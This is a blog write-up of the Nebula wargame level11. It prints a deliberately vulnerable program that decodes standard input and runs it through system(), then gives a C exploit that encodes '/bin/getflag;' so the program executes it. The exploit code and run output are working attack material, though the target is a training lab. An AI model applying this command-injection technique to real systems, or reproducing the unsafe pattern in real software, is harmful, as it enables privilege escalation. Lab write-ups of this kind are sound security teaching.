Thursday, November 1, 2012

exploit-exercises Nebula: level11

In level11 of Nebula wargame, we have a vulnerable program that processes standard input and executes a shell command (extracted from the standard input.) The source code of flag11 is provided.
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
/*
 * Return a random, non predictable file, and return the file descriptor for it.
 */
int getrand(char **path)
{
    char *tmp;
    int pid;
    int fd;
    srandom(time(NULL));
    tmp = getenv("TEMP");
    pid = getpid();
    asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
   'A' + (random() % 26), '0' + (random() % 10),
   'a' + (random() % 26), 'A' + (random() % 26),
   '0' + (random() % 10), 'a' + (random() % 26));
    fd = open(*path, O_CREAT|O_RDWR, 0600);
    unlink(*path);
    return fd;
}
void process(char *buffer, int length)
{
    unsigned int key;
    int i;
    key = length & 0xff;
    for(i = 0; i < length; i++) {
buffer[i] ^= key;
key -= buffer[i];
    }
    setgid(getgid());
    setuid(getuid());
    system(buffer);
}
#define CL "Content-Length: "
int main(int argc, char **argv)
{
    char line[256];
    char buf[1024];
    char *mem;
    int length;
    int fd;
    char *path;
    if(fgets(line, sizeof(line), stdin) == NULL) {
errx(1, "reading from stdin");
    }
    if(strncmp(line, CL, strlen(CL)) != 0) {
errx(1, "invalid header");
    }
    length = atoi(line + strlen(CL));
    if(length < sizeof(buf)) {
if(fread(buf, length, 1, stdin) != length) {
   err(1, "fread length");
}
process(buf, length);
    } else {
int blue = length;
int pink;
fd = getrand(&path);
while(blue > 0) {
   printf("blue = %d, length = %d, ", blue, length);
   pink = fread(buf, 1, sizeof(buf), stdin);
   printf("pink = %d\n", pink);
   if(pink <= 0) {
err(1, "fread fail(blue = %d, length = %d)", blue, length);
   }
   write(fd, buf, pink);
   blue -= pink;
}
mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd,
0);
if(mem == MAP_FAILED) {
   err(1, "mmap");
}
process(mem, length);
    }
}

There are some restrictions on the standard input we have to provide. First, it should start with "Content-Length: "
if(strncmp(line, CL, strlen(CL)) != 0) {errx(1, "invalid header");}
Then, atoi() is applied on the following content on the same line.
length = atoi(line + strlen(CL));
and depending on the value of length ( < 1024), the code will take one of two routes. The challenging part is that the input we provide won't be executed as is but will go through some modifications.
level11@nebula:~$ python -c 'print "Content-Length: 1024\n"+"A"*1023' | ../flag11/flag11blue = 1024, length = 1024, pink = 1024sh: $'A\376\200': command not found
Or in a simpler way: "input" => "rubbish". To exploit this process we should provide an input that when given to process() would be converted into something meaningful e.g "exploit_code" => "/bin/getflag".Let's do the reverse operation. pwn11.c will generate an output that contains "Content-Length: 1024\npayload". When payload is given to process(), it will be encoded into "/bin/getflag;rubbish" The rubbish part is not really interesting to us.
level11@nebula:~$ cat pwn11.c 
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
    char buffer[1024];
    unsigned int key;
    int length = 1024;
    int i;
    char *header = "Content-Length: 1024\n";
    strncpy(buffer, "/bin/getflag;", 13);
    write(1, header, 21);
    read(stdin, buffer, length);
    key = length & 0xff;
    for (i = 0; i < 1024; i++) {
        buffer[i] ^= key;
        key -= buffer[i] ^ key;
    }
    write(1, buffer, length);
}
level11@nebula:~$ gcc pwn11.c
level11@nebula:~$ ./a.out | ../flag11/flag11 

blue = 1024, length = 1024, pink = 1024
You have successfully executed getflag on a target account
And that is it, +1 level-up!

No comments:

Post a Comment